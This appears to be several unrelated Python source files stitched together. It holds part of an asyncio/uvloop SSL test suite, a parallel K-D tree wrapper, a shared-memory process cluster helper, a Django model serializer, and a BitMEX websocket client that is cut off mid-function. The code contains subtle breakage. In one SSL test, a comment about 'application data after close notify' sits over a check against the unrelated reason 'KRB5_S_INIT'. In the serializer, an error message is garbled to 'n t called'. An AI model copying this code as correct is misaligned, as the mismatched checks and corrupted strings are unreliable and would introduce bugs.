self.assertEqual(data, b'OK')
data = sock.recv(1024)
self.assertEqual(data, b'')
fd = sock.detach()
try:
select.select([fd], [], [], 3)
finally:
os.close(fd)
except Exception as ex:
self.loop.call_soon_threadsafe(fut.set_exception, ex)
else:
self.loop.call_soon_threadsafe(fut.set_result, None)
client = self.tcp_client(prog)
client.start()
clients.append(client)
await fut
async def start_server():
extras = {}
if self.implementation != 'asyncio' or self.PY37:
extras['ssl_handshake_timeout'] = 10.0
if self.implementation != 'asyncio': # or self.PY38
extras['ssl_shutdown_timeout'] = 0.5
srv = await asyncio.start_server(
handle_client,
'127.0.0.1', 0,
family=socket.AF_INET,
ssl=sslctx,
**extras)
try:
srv_socks = srv.sockets
self.assertTrue(srv_socks)
addr = srv_socks[0].getsockname()
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(test_client(addr))
await asyncio.wait_for(
asyncio.gather(*tasks),
TIMEOUT)
finally:
self.loop.call_soon(srv.close)
await srv.wait_closed()
with self._silence_eof_received_warning():
self.loop.run_until_complete(start_server())
self.assertEqual(CNT, TOTAL_CNT)
for client in clients:
client.stop()
def test_shutdown_cleanly(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
CNT = 0
TOTAL_CNT = 25
A_DATA = b'A' * 1024 * 1024
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context()
def server(sock):
sock.starttls(
sslctx,
server_side=True)
data = sock.recv_all(len(A_DATA))
self.assertEqual(data, A_DATA)
sock.send(b'OK')
sock.unwrap()
sock.close()
async def client(addr):
extras = {}
if self.implementation != 'asyncio' or self.PY37:
extras = dict(ssl_handshake_timeout=10.0)
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='',
**extras)
writer.write(A_DATA)
self.assertEqual(await reader.readexactly(2), b'OK')
self.assertEqual(await reader.read(), b'')
nonlocal CNT
CNT += 1
writer.close()
await self.wait_closed(writer)
def run(coro):
nonlocal CNT
CNT = 0
with self.tcp_server(server,
max_clients=TOTAL_CNT,
backlog=TOTAL_CNT) as srv:
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(coro(srv.addr))
self.loop.run_until_complete(
asyncio.gather(*tasks))
self.assertEqual(CNT, TOTAL_CNT)
with self._silence_eof_received_warning():
run(client)
def test_write_to_closed_transport(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context()
future = None
def server(sock):
sock.starttls(sslctx, server_side=True)
sock.shutdown(socket.SHUT_RDWR)
sock.close()
def unwrap_server(sock):
sock.starttls(sslctx, server_side=True)
while True:
try:
sock.unwrap()
break
except ssl.SSLError as ex:
# Since OpenSSL 1.1.1, it raises "application data after
# close notify"
if ex.reason == 'KRB5_S_INIT':
break
except OSError as ex:
# OpenSSL < 1.1.1
if ex.errno != 0:
raise
sock.close()
async def client(addr):
nonlocal future
future = self.loop.create_future()
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='')
writer.write(b'I AM WRITING NOWHERE1' * 100)
try:
data = await reader.read()
self.assertEqual(data, b'')
except (ConnectionResetError, BrokenPipeError):
pass
for i in range(25):
writer.write(b'I AM WRITING NOWHERE2' * 100)
self.assertEqual(
writer.transport.get_write_buffer_size(), 0)
await future
writer.close()
await self.wait_closed(writer)
def run(meth):
def wrapper(sock):
try:
meth(sock)
except Exception as ex:
self.loop.call_soon_threadsafe(future.set_exception, ex)
else:
self.loop.call_soon_threadsafe(future.set_result, None)
return wrapper
with self._silence_eof_received_warning():
with self.tcp_server(run(server)) as srv:
self.loop.run_until_complete(client(srv.addr))
with self.tcp_server(run(unwrap_server)) as srv:
self.loop.run_until_complete(client(srv.addr))
def test_flush_before_shutdown(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
CHUNK = 1024 * 128
SIZE = 32
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
sslctx_openssl = openssl_ssl.Context(openssl_ssl.TLSv1_2_METHOD)
if hasattr(openssl_ssl, 'OP_NO_SSLV2'):
sslctx_openssl.set_options(openssl_ssl.OP_NO_SSLV2)
sslctx_openssl.use_privatekey_file(self.ONLYKEY)
sslctx_openssl.use_certificate_chain_file(self.ONLYCERT)
client_sslctx = self._create_client_ssl_context()
if hasattr(ssl, 'OP_NO_TLSv1_3'):
client_sslctx.options |= ssl.OP_NO_TLSv1_3
future = None
def server(sock):
sock.starttls(sslctx, server_side=True)
self.assertEqual(sock.recv_all(4), b'ping')
sock.send(b'pong')
time.sleep(0.5) # hopefully stuck the TCP buffer
data = sock.recv_all(CHUNK * SIZE)
self.assertEqual(len(data), CHUNK * SIZE)
sock.close()
def run(meth):
def wrapper(sock):
try:
meth(sock)
except Exception as ex:
self.loop.call_soon_threadsafe(future.set_exception, ex)
else:
self.loop.call_soon_threadsafe(future.set_result, None)
return wrapper
async def client(addr):
nonlocal future
future = self.loop.create_future()
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='')
sslprotocol = writer.get_extra_info('uvloop.sslproto')
writer.write(b'ping')
data = await reader.readexactly(4)
self.assertEqual(data, b'pong')
sslprotocol.pause_writing()
for _ in range(SIZE):
writer.write(b'x' * CHUNK)
writer.close()
sslprotocol.resume_writing()
await self.wait_closed(writer)
try:
data = await reader.read()
self.assertEqual(data, b'')
except ConnectionResetError:
pass
await future
with self.tcp_server(run(server)) as srv:
self.loop.run_until_complete(client(srv.addr))
def test_remote_shutdown_receives_trailing_data(self):
if self.implementation == 'asyncio':
raise unittest.SkipTest()
CHUNK = 1024 * 128
SIZE = 32
sslctx = self._create_server_ssl_context(self.ONLYCERT, self.ONLYKEY)
client_sslctx = self._create_client_ssl_context()
future = None
def server(sock):
incoming = ssl.MemoryBIO()
outgoing = ssl.MemoryBIO()
sslobj = sslctx.wrap_bio(incoming, outgoing, server_side=True)
while True:
try:
sslobj.do_handshake()
except ssl.SSLWantReadError:
if outgoing.pending:
sock.send(outgoing.read())
incoming.write(sock.recv(16384))
else:
if outgoing.pending:
sock.send(outgoing.read())
break
while True:
try:
data = sslobj.read(4)
except ssl.SSLWantReadError:
incoming.write(sock.recv(16384))
else:
break
self.assertEqual(data, b'ping')
sslobj.write(b'pong')
sock.send(outgoing.read())
time.sleep(0.2) # wait for the peer to fill its backlog
# send close_notify but don't wait for response
with self.assertRaises(ssl.SSLWantReadError):
sslobj.unwrap()
sock.send(outgoing.read())
# should receive all data
data_len = 0
while True:
try:
chunk = len(sslobj.read(16384))
data_len += chunk
except ssl.SSLWantReadError:
incoming.write(sock.recv(16384))
except ssl.SSLZeroReturnError:
break
self.assertEqual(data_len, CHUNK * SIZE)
# verify that close_notify is received
sslobj.unwrap()
sock.close()
def eof_server(sock):
sock.starttls(sslctx, server_side=True)
self.assertEqual(sock.recv_all(4), b'ping')
sock.send(b'pong')
time.sleep(0.2) # wait for the peer to fill its backlog
# send EOF
sock.shutdown(socket.SHUT_WR)
# should receive all data
data = sock.recv_all(CHUNK * SIZE)
self.assertEqual(len(data), CHUNK * SIZE)
sock.close()
async def client(addr):
nonlocal future
future = self.loop.create_future()
reader, writer = await asyncio.open_connection(
*addr,
ssl=client_sslctx,
server_hostname='')
writer.write(b'ping')
data = await reader.readexactly(4)
self.assertEqual(data, b'pong')
# fill write backlog in a hacky way - renegotiation won't help
for _ in range(SIZE):
writer.transport._test__append_write_backlog(b'x' * CHUNK)
try:
data = await reader.read()
self.assertEqual(data, b'')
except (BrokenPipeError, ConnectionResetError):
pass
await future
writer.close()
await self.wait_closed(writer)
def run(meth):
def wrapper(sock):
try:
meth(sock)
except Exception as ex:
self.loop.call_soon_threadsafe(future.set_exception, ex)
else:
self.loop.call_soon_threadsafe(future.set_result, None)
return wrapper
with self.tcp_server(run(server)) as srv:
self.loop.run_until_complete(client(srv.addr))
with self.tcp_server(run(eof_server)) as srv:
self.loop.run_until_complete(client(srv.addr))
def test_connect_timeout_warning(self):
s = socket.socket(socket.AF_INET)
s.bind(('127.0.0.1', 0))
addr = s.getsockname()
async def test():
try:
await asyncio.wait_for(
self.loop.create_connection(asyncio.Protocol,
*addr, ssl=True),
0.1)
except (ConnectionRefusedError, asyncio.TimeoutError):
pass
else:
self.fail('TimeoutError is not raised')
with s:
try:
with self.assertWarns(ResourceWarning) as cm:
self.loop.run_until_complete(test())
gc.collect()
gc.collect()
gc.collect()
except AssertionError as e:
self.assertEqual(str(e), 'ResourceWarning not triggered')
else:
self.fail('Unexpected ResourceWarning: {}'.format(cm.warning))
def test_handshake_timeout_handler_leak(self):
if self.implementation == 'asyncio':
# Okay this turns out to be an issue for asyncio.sslproto too
raise unittest.SkipTest()
s = socket.socket(socket.AF_INET)
s.bind(('127.0.0.1', 0))
s.listen(1)
addr = s.getsockname()
async def test(ctx):
try:
await asyncio.wait_for(
self.loop.create_connection(asyncio.Protocol, *addr,
ssl=ctx),
0.1)
except (ConnectionRefusedError, asyncio.TimeoutError):
pass
else:
self.fail('TimeoutError is not raised')
with s:
ctx = ssl.create_default_context()
self.loop.run_until_complete(test(ctx))
ctx = weakref.ref(ctx)
# SSLProtocol should be DECREF to 0
self.assertIsNone(ctx())
def test_shutdown_timeout_handler_leak(self):
loop = self.loop
def server(sock):
sslctx = self._create_server_ssl_context(self.ONLYCERT,
self.ONLYKEY)
sock = sslctx.wrap_socket(sock, server_side=True)
sock.recv(32)
sock.close()
class Protocol(asyncio.Protocol):
def __init__(self):
self.fut = asyncio.Future(loop=loop)
def connection_lost(self, exc):
self.fut.set_result(None)
async def client(addr, ctx):
tr, pr = await loop.create_connection(Protocol, *addr, ssl=ctx)
tr.close()
await pr.fut
with self.tcp_server(server) as srv:
ctx = self._create_client_ssl_context()
loop.run_until_complete(client(srv.addr, ctx))
ctx = weakref.ref(ctx)
if self.implementation == 'asyncio':
# asyncio has no shutdown timeout, but it ends up with a circular
# reference loop - not ideal (introduces gc glitches), but at least
# not leaking
gc.collect()
gc.collect()
gc.collect()
# SSLProtocol should be DECREF to 0
self.assertIsNone(ctx())
def test_shutdown_timeout_handler_not_set(self):
loop = self.loop
eof = asyncio.Event()
extra = None
def server(sock):
sslctx = self._create_server_ssl_context(self.ONLYCERT,
self.ONLYKEY)
sock = sslctx.wrap_socket(sock, server_side=True)
sock.send(b'hello')
assert sock.recv(1024) == b'world'
sock.send(b'extra bytes')
# sending EOF here
sock.shutdown(socket.SHUT_WR)
loop.call_soon_threadsafe(eof.set)
# make sure we have enough time to reproduce the issue
assert sock.recv(1024) == b''
sock.close()
class Protocol(asyncio.Protocol):
def __init__(self):
self.fut = asyncio.Future(loop=loop)
self.transport = None
def connection_made(self, transport):
self.transport = transport
def data_received(self, data):
if data == b'hello':
self.transport.write(b'world')
# pause reading would make incoming data stay in the sslobj
self.transport.pause_reading()
else:
nonlocal extra
extra = data
def connection_lost(self, exc):
if exc is None:
self.fut.set_result(None)
else:
self.fut.set_exception(exc)
async def client(addr):
ctx = self._create_client_ssl_context()
tr, pr = await loop.create_connection(Protocol, *addr, ssl=ctx)
await eof.wait()
tr.resume_reading()
await pr.fut
tr.close()
assert extra == b'extra bytes'
with self.tcp_server(server) as srv:
loop.run_until_complete(client(srv.addr))
class Test_UV_TCPSSL(_TestSSL, tb.UVTestCase):
pass
class Test_AIO_TCPSSL(_TestSSL, tb.AIOTestCase):
pass
|
cKDTree_MP.py
|
""" A Parallelised Implementation of K-D Trees
Code extended from http://folk.uio.no/sturlamo/python/multiprocessing-tutorial.pdf
"""
__author__ = 'Ajay Thampi'
import numpy as np
import multiprocessing as mp
import ctypes
from scipy.spatial import cKDTree
def shmem_as_nparray(shmem_array):
"""
Function that converts a shared memory array (multiprocessing.Array) to a numpy array
"""
return np.frombuffer(shmem_array.get_obj())
def _pquery(scheduler, data, ndata, ndim, leafsize,
x, nx, d, i, k, eps, p, dub, ierr):
"""
Function that parallelly queries the K-D tree based on chunks of data returned by the scheduler
"""
try:
_data = shmem_as_nparray(data).reshape((ndata, ndim))
_x = shmem_as_nparray(x).reshape((nx, ndim))
_d = shmem_as_nparray(d).reshape((nx, k))
_i = shmem_as_nparray(i).reshape((nx, k))
kdtree = cKDTree(_data, leafsize=leafsize)
for s in scheduler:
d_out, i_out = kdtree.query(_x[s, :], k=k, eps=eps, p=p, distance_upper_bound=dub)
m_d = d_out.shape[0]
m_i = i_out.shape[0]
_d[s, :], _i[s, :] = d_out.reshape(m_d, 1), i_out.reshape(m_i, 1)
except:
ierr.value += 1
def num_cpus():
"""
Function to get the number of CPUs / cores. This is used to determine the number of processes to spawn.
Default (if not implemented) = 2
"""
try:
return mp.cpu_count()
except NotImplementedError:
return 2
class cKDTree_MP(cKDTree):
"""
The parallelised cKDTree class
"""
def __init__(self, data_list, leafsize=30):
""" Class Instantiation
Arguments are based on scipy.spatial.cKDTree class
"""
data = np.array(data_list)
n, m = data.shape
self.shmem_data = mp.Array(ctypes.c_double, n*m)
_data = shmem_as_nparray(self.shmem_data).reshape((n, m))
_data[:, :] = data
self._leafsize = leafsize
super(cKDTree_MP, self).__init__(_data, leafsize=leafsize)
def pquery(self, x_list, k=1, eps=0, p=2,
distance_upper_bound=np.inf):
"""
Function to parallelly query the K-D Tree
"""
x = np.array(x_list)
nx, mx = x.shape
shmem_x = mp.Array(ctypes.c_double, nx*mx)
shmem_d = mp.Array(ctypes.c_double, nx*k)
shmem_i = mp.Array(ctypes.c_double, nx*k)
_x = shmem_as_nparray(shmem_x).reshape((nx, mx))
_d = shmem_as_nparray(shmem_d).reshape((nx, k))
_i = shmem_as_nparray(shmem_i)
if k != 1:
_i = _i.reshape((nx, k))
_x[:, :] = x
nprocs = num_cpus()
scheduler = Scheduler(nx, nprocs)
ierr = mp.Value(ctypes.c_int, 0)
query_args = (scheduler,
self.shmem_data, self.n, self.m, self.leafsize,
shmem_x, nx, shmem_d, shmem_i,
k, eps, p, distance_upper_bound,
ierr)
pool = [mp.Process(target=_pquery, args=query_args) for _ in range(nprocs)]
for p in pool: p.start()
for p in pool: p.join()
if ierr.value != 0:
raise RuntimeError('%d errors in worker processes' % (ierr.value))
return _d.copy(), _i.astype(int).copy()
class Scheduler:
"""
Scheduler that returns chunks of data to be queries on the K-D Tree.
The number of chunks is determined by the number of processes.
"""
def __init__(self, ndata, nprocs):
self._ndata = mp.RawValue(ctypes.c_int, ndata)
self._start = mp.RawValue(ctypes.c_int, 0)
self._lock = mp.Lock()
min_chunk = ndata // nprocs
min_chunk = ndata if min_chunk <= 2 else min_chunk
self._chunk = min_chunk
def __iter__(self):
return self
def next(self): # Python 2 support
self._lock.acquire()
ndata = self._ndata.value
start = self._start.value
chunk = self._chunk
if ndata:
if chunk > ndata:
_s0 = start
_s1 = start + ndata
self._ndata.value = 0
else:
_s0 = start
_s1 = start + chunk
self._ndata.value = ndata - chunk
self._start.value = start + chunk
self._lock.release()
return slice(_s0, _s1)
else:
self._lock.release()
raise StopIteration
def __next__(self): # Python 3 support
self._lock.acquire()
ndata = self._ndata.value
start = self._start.value
chunk = self._chunk
if ndata:
if chunk > ndata:
_s0 = start
_s1 = start + ndata
self._ndata.value = 0
else:
_s0 = start
_s1 = start + chunk
self._ndata.value = ndata - chunk
self._start.value = start + chunk
self._lock.release()
return slice(_s0, _s1)
else:
self._lock.release()
raise StopIteration
|
pydsm.py
|
from multiprocessing import Process
from multiprocessing import Lock
import os
import time
import random
import numpy as np
import SharedArray as sa
import fcntl
import errno
import signal
import sys
class Cluster:
def __init__(self, numThread = None):
if numThread == None:
numThread = os.cpu_count()
self.numThread = numThread
# for sig in (signal.SIGABRT, signal.SIGINT, signal.SIGTERM):
# signal.signal(sig, self.terminate)
self._initbarr(numThread)
self.fd = os.open('FILE_LOCK', os.O_CREAT)
self.sharedList = [] # a list of shared variables
self.resources = {}
self.resources["id"] = -1
def __enter__(self):
return self
def __exit__(self, exc_type, exc_value, traceback):
self.terminate()
# paras need to be a tuple
def runProcesses(self, func, paras = ()):
p_list = []
for id in range(self.numThread):
# id starts at zero, and ends at numThread - 1
self.resources = self.resources.copy() # a shallow copy of itself
self.resources['id'] = id
p_list.append(Process(target=func, args=(self.resources, )+paras))
for p in p_list:
p.start()
for p in p_list:
p.join()
def _initbarr(self, numThread):
nt = sa.create("shm://numThread2048", 1, int)
nt[0] = numThread
sense = sa.create("shm://sense2048", 1, int)
sense[0] = 1
counter = sa.create("shm://counter2048", 1, int)
counter[0] = 0
# Sense Reversal barrier
@classmethod
def barrier(cls):
fd = cls.filelock()
sense = sa.attach("shm://sense2048")
counter = sa.attach("shm://counter2048")
loc_sense = sense[0]
nt = sa.attach("numThread2048")
numThread = nt[0]
if counter[0] == numThread - 1: # last thread finished
# Now every thread has reached the barrier
# Reset everything
counter[0] = 0
sense[0] = 1 - sense[0]
cls.fileunlock(fd)
else:
counter[0] += 1
cls.fileunlock(fd)
while loc_sense == sense[0]:
pass
# Create a shared array initialized to zeros
# this shared array will be automatically deleted once processes finish
def createShared(self, name, shape, dataType = int):
# Check name != 'id' and name != 'lock' and no repeated names
try:
if name in self.resources:
self.deleteShared()
raise KeyError("Name '" + str(name) + "' repetition:" +
"Please use a different name.")
except KeyError as e:
exit(str(e))
sharedLoc = "shm://" + name
sharedAry = sa.create(sharedLoc, shape, dataType)
self.sharedList.append(name)
self.resources[name] = sharedAry
return sharedAry
# Create an instance of lock
def createLock(self, name):
# Check name != 'id' and name != 'lock' and no repeated names
try:
if name in self.resources:
self.deleteShared()
raise KeyError("Name '" + str(name) + "' repetition:" +
"Please use a different name.")
except KeyError as e:
exit(str(e))
self.resources[name] = Lock()
@classmethod
def getShared(cls, name):
return sa.attach(name)
def deleteShared(self):
for key in self.sharedList:
sa.delete(key)
sa.delete("shm://counter2048")
sa.delete("shm://sense2048")
sa.delete("shm://numThread2048")
def terminate(self):
os.close(self.fd)
os.unlink("./FILE_LOCK")
self.deleteShared()
# In the case of abrupt termination of program, "shm://spInd2048" may
# not be deleted. So need to delete it here
try:
sa.delete("spInd2048")
except (IOError, OSError): # FileNotFoundError
pass
# If length is not divisible by n, those extra terms
# will be placed in the list of the last process
# For example, given a length of 10, and numThread of 3
# and after shuffling, ary = [1, 3, 4, 0, 2, 7, 9, 8, 6, 5]
# Then,
# process with id 0 will get [1, 3, 4]
# process with id 1 will get [0, 2, 7]
# process with id 2 will get [9, 8, 6, 5]
@classmethod
def splitIndices(cls, length, id, random = True):
n = sa.attach("numThread2048")[0]
if id == 0:
ary = sa.create("shm://spInd2048", length, int)
ary[:] = np.arange(length)
if random:
np.random.shuffle(ary)
cls.barrier()
if id != 0:
ary = sa.attach("spInd2048")
# Copy the computed numpy array to a new iterable
# then delete the shared array
# return a slice of iterable to each process
chunkSize = int(length / n)
result = list(ary)
cls.barrier()
if id == 0:
sa.delete("spInd2048")
del ary
if id == n - 1:
return result[id*chunkSize:]
else:
return result[id*chunkSize:(id+1)*chunkSize]
@classmethod
def filelock(cls):
fd = os.open('FILE_LOCK', os.O_RDONLY)
while True:
try:
# Acquire the lock
fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
break
except (IOError, OSError) as e:
# Raise if the error is not EAGAIN
# (i.e. Resource temporarily unavailable)
if e.errno != errno.EAGAIN:
raise
time.sleep(0.01) # Sleep to avoid busy waiting
return fd
@classmethod
def fileunlock(cls, fd):
# Release the lock
fcntl.flock(fd, fcntl.LOCK_UN)
os.close(fd)
|
serialize.py
|
import uuid
import datetime
import collections
from itertools import chain
from functools import singledispatch
from threading import current_thread
from threading import Thread as _Thread
from django.db import connection
from django.contrib.contenttypes.models import ContentType
from django.utils.functional import SimpleLazyObject
from account.models import User
from board.models import (Board, Sheet, Node, Edge)
class Thread(_Thread):
def __init__(self, group=None, target=None, name=None,
args=(), kwargs=None):
super().__init__(group, target, name, args, kwargs)
self.done = False
self.result = None
self.start()
def run(self):
try:
if self._target:
self.result = self._target(*self._args, **self._kwargs)
finally:
del self._target, self._args, self._kwargs
connection.close()
self.done = True
def join(self, timeout=None):
if not self._initialized:
raise RuntimeError("Thread.__init__() n t called")
if not self._started.is_set():
raise RuntimeError("cannot join thread before it is started")
if self is current_thread():
raise RuntimeError("cannot join current thread")
if timeout is None:
self._wait_for_tstate_lock()
else:
self._wait_for_tstate_lock(timeout=max(timeout, 0))
if self.done:
return self.result
def _chunker(seq, size):
return (seq[pos:pos + size] for pos in range(0, len(seq), size))
@singledispatch
def serialize(value, **kwargs):
pass
@serialize.register(bool)
@serialize.register(type(None))
@serialize.register(int)
@serialize.register(float)
@serialize.register(str)
def value_parse(value, **kwargs):
return value
@serialize.register(collections.Iterable)
def iter_parse(value, **kwargs):
value = list(value)
if len(value) > 10:
thread_list = [
Thread(target=serialize, args=(element, ), kwargs=kwargs)
for element in _chunker(value, 10)
]
return list(chain(*[t.join() for t in thread_list]))
return [
serialize(element, **kwargs)
for element in value
]
@serialize.register(collections.Mapping)
def map_parse(value, **kwargs):
result = collections.OrderedDict()
for key, value in value.items():
result[key] = serialize(value, **kwargs)
return result
@serialize.register(datetime.datetime)
@serialize.register(datetime.date)
def date_parse(value, **kwargs):
return value.isoformat()
@serialize.register(datetime.time)
def time_parse(value, **kwargs):
return value.replace(microsecond=0).isoformat()
@serialize.register(uuid.UUID)
def uuid_parse(value, **kwargs):
return str(value)
@serialize.register(SimpleLazyObject)
def slo_parse(obj, **kwargs):
return serialize(obj._wrapped, **kwargs)
@serialize.register(User)
def user_parse(user, **kwargs):
result = {
'id': user.id,
'email': user.email,
'username': user.username,
# 'email_verified': user.email_verified
}
return serialize(result, **kwargs)
@serialize.register(Board)
def board_parse(board, **kwargs):
result = {
'id': board.id,
'title': board.title,
'parent_id': board.parent_id,
'create_date': board.create_date,
'modify_date': board.modify_date
}
if kwargs.get('change_parent'):
result['parent_id'] = kwargs.get('new_parent_id')
return serialize(result, **kwargs)
@serialize.register(Sheet)
def sheet_parse(sheet, **kwargs):
result = {
'id': sheet.id,
'title': sheet.title,
'board_id': sheet.board_id,
'create_date': sheet.create_date,
'modify_date': sheet.modify_date
}
if kwargs.get('change_parent'):
result['board_id'] = kwargs.get('new_parent_id')
return serialize(result, **kwargs)
@serialize.register(Node)
def node_parse(node, **kwargs):
result = {
'id': node.id,
'label': node.label,
'x': node.x,
'x_': node.x,
'y': node.y,
'y_': node.y,
'font': node.font,
'shape': node.shape,
'color': node.color,
}
return serialize(result, **kwargs)
@serialize.register(Edge)
def edge_parse(edge, **kwargs):
result = {
'id': edge.id,
'label': edge.label,
'from': edge.node_from_id,
'to': edge.node_to_id,
'dashes': edge.dashes,
'width': edge.width,
'arrow': edge.arrow,
'arrows': {},
}
to = {}
if edge.arrow:
to['type'] = 'arrow'
to['scaleFactor'] = 1
else:
to['type'] = 'image'
to['scaleFactor'] = 0
result['arrows']['to'] = to
return serialize(result, **kwargs)
|
ws_thread.py
|
import sys
import websocket
import threading
import traceback
import ssl
from time import sleep
import json
import decimal
import logging
from market_maker.settings import settings
from market_maker.auth.APIKeyAuth import generate_expires, generate_signature
from market_maker.utils import log
from market_maker.utils.math import toNearest
from future.utils import iteritems
from future.standard_library import hooks
with hooks(): # Python 2/3 compat
from urllib.parse import urlparse, urlunparse
logger = log.setup_custom_logger('root')
# Connects to BitMEX websocket for streaming realtime data.
# The Marketmaker still interacts with this as if it were a REST Endpoint, but now it can get
# much more realtime data without heavily polling the API.
#
# The Websocket offers a bunch of data as raw properties right on the object.
# On connect, it synchronously asks for a push of all this data then returns.
# Right after, the MM can start using its data. It will be updated in realtime, so the MM can
# poll as often as it wants.
class BitMEXWebsocket():
# Don't grow a table larger than this amount. Helps cap memory usage.
MAX_TABLE_LEN = 200
def __init__(self):
self.__reset()
def __del__(self):
self.exit()
def connect(self, endpoint="", symbol="XBTN15", shouldAuth=True):
'''Connect to the websocket and initialize data stores.'''
logger.debug("Connecting WebSocket.")
self.symbol = symbol
self.shouldAuth = shouldAuth
# We can subscribe right in the connection querystring, so let's build that.
# Subscribe to all pertinent endpoints
subscriptions = [sub + ':' + symbol for sub in ["quote", "trade"]]
subscriptions += ["instrument"] # We want all of them
if self.shouldAuth:
subscriptions += [sub + ':' + symbol for sub in ["order", "execution"]]
subscriptions += ["margin", "position"]
# Get WS URL and connect.
urlParts = list(urlparse(endpoint))
urlParts[0] = urlParts[0].replace('http', 'ws')
urlParts[1] = urlParts[1].replace('www', 'ws')
urlParts[2] = "/realtime?subscribe=" + ",".join(subscriptions)
wsURL = urlunparse(urlParts)
logger.info("Connecting to %s" % wsURL)
self.__connect(wsURL)
logger.info('Connected to WS. Waiting for data images, this may take a moment...')
# Connected. Wait for partials
self.__wait_for_symbol(symbol)
logger.info("%s received. Waiting for account...", symbol)
if self.shouldAuth:
self.__wait_for_account()
logger.info('Got all market data. Starting.')
#
# Data methods
#
def get_instrument(self, symbol):
instruments = self.data['instrument']
matchingInstruments = [i for i in instruments if i['symbol'] == symbol]
if len(matchingInstruments) == 0:
raise Exception("Unable to find instrument or index with symbol: " + symbol)
instrument = matchingInstruments[0]
# Turn the 'tickSize' into 'tickLog' for use in rounding
# http://stackoverflow.com/a/6190291/832202
instrument['tickLog'] = decimal.Decimal(str(instrument['tickSize'])).as_tuple().exponent * -1
return instrument
def get_ticker(self, symbol):
'''Return a ticker object. Generated from instrument.'''
instrument = self.get_instrument(symbol)
# If this is an index, we have to get the data from the last trade.
if instrument['symbol'][0] == '.':
ticker = {}
ticker['mid'] = ticker['buy'] = ticker['sell'] = ticker['last'] = instrument['markPrice']
# Normal instrument
else:
bid = instrument['bidPrice'] or instrument['lastPrice']
ask = instrument['askPrice'] or instrument['lastPrice']
ticker = {
"last": instrument['lastPrice'],
"buy": bid,
"sell": ask,
"mid": (bid + ask) / 2
}
# The instrument has a tickSize. Use it to round values.
return {k: toNearest(float(v or 0), instrument['tickSize']) for k, v in iteritems(ticker)}
def funds(self):
return self.data['margin'][0]
def market_depth(self, symbol):
raise NotImplementedError('orderBook is not subscribed; use askPrice and bidPrice on instrument')
# return self.data['orderBook25'][0]
def open_orders(self, clOrdIDPrefix):
orders = self.data['order']
# Filter to only open orders (leavesQty > 0) and those that we actually placed
return [o for o in orders if str(o['clOrdID']).startswith(clOrdIDPrefix) and o['leavesQty'] > 0]
def position(self, symbol):
positions = self.data['position']
pos = [p for p in positions if p['symbol'] == symbol]
if len(pos) == 0:
# No position found; stub it
return {'avgCostPrice': 0, 'avgEntryPrice': 0, 'currentQty': 0, 'symbol': symbol}
return pos[0]
def recent_trades(self):
return self.data['trade']
#
# Lifecycle methods
#
def error(self, err):
self._error = err
logger.error(err)
self.exit()
def exit(self):
self.exited = True
self.ws.close()
#
# Private methods
#
def __connect(self, wsURL):
'''Connect to the websocket in a thread.'''
logger.debug("Starting thread")
ssl_defaults = ssl.get_default_verify_paths()
sslopt_ca_certs = {'ca_certs': ssl_defaults.cafile}
self.ws = websocket.WebSocketApp(wsURL,
on_message=self.__on_message,
on_close=self.__on_close,
on_open=self.__on_open,
on_error=self.__on_error,
header=self.__get_auth()
)
self.wst = threading.Thread(target=lambda: self.ws.run_forever(sslopt=sslopt_ca_certs))
self.wst.daemon = True
self.wst.start()
logger.info("Started thread")
# Wait for connect before continuing
conn_timeout = 5
while (not self.ws.sock or not self.ws.sock.connected) and conn_timeout and not self._error:
sleep(1)
conn_timeout -= 1
if not conn_timeout or self._error:
logger.error("Couldn't connect to WS! Exiting.")
self.exit()
sys.exit(1)
def __get_auth(self):
'''Return auth headers. Will use API Keys if present in settings.'''
if self.shouldAuth is False:
return []
logger.info("Authenticating with API Key.")
# To auth to the WS using an API key, we generate a signature of a nonce and
# the WS API endpoint.
nonce = generate_expires()
return [
"api-expires: " + str(nonce),
"api-signature: " + generate_signature(settings.API_SECRET, 'GET', '/realtime', nonce, ''),
"api-key:" + settings.API_KEY
]
def __wait_for_account(self):
'''On subscribe, this data will come down. Wait for it.'''
# Wait for the keys to show up from the ws
while not {'margin', 'position', 'order'} <= set(self.data):
sleep(0.1)
def __wait_for_symbol(self, symbol):
'''On subscribe, this data will come down. Wait for it.'''
while not {'instrument', 'quote'} <= set(self.data):
sleep(0.1)
def __send_command(self, command, args):
'''Send a raw command.'''
self.ws.send(json.dumps({"op": command, "args": args or []}))
def __on_message(self, message):
'''Handler for parsing WS messages.'''
message = json.loads(message)
logger.debug(json.dumps(message))
table = message['table'] if 'table' in message else None
action = message['action'] if 'action' in message else None
try:
if 'subscribe' in message:
if message['success']:
logger.debug("Subscribed to %s." % message['subscribe'])
else:
self.error("Unable to subscribe to %s. Error: \"%s\" Please check and restart." %
(message['request']['args'][0], message['error']))
elif 'status' in message:
if message['status'] == 400:
self.error(message['error'])
if message['status'] == 401:
self.error("API Key incorrect, please check and restart.")
elif action:
if table not in self.data:
self.data[table] = []
if table not in self.keys:
self.keys[table] = []
# There are four possible actions from the WS:
# 'partial' - full table image
# 'insert' - new row
# 'update' - update row
# 'delete' - delete row
if action == 'partial':
logger.debug("%s: partial" % table)
self.data[table] += message['data']
# Keys are communicated on partials to let you know how to uniquely identify
# an item. We use it for updates.
self.keys[table] = message['keys']
elif action == 'insert':
logger.debug('%s: inserting %s' % (table, message['data']))
self.data[table] += message['data']
# Limit the max length of the table to avoid excessive memory usage.
# Don't trim orders because we'll lose valuable state if we do.
if table not in ['order', 'orderBookL2'] and len(self.data[table]) > BitMEXWebsocket.MAX_TABLE_LEN:
self.data[table] = self.data[table][(BitMEXWebsocket.MAX_TABLE_LEN // 2):]
elif action == 'update':
logger.debug('%s: updating %s' % (table, message['data']))
# Locate the item in the collection and update it.
for updateData in message['data']:
item = findItemByKeys(self.keys[table], self.data[table], updateData)
if not item:
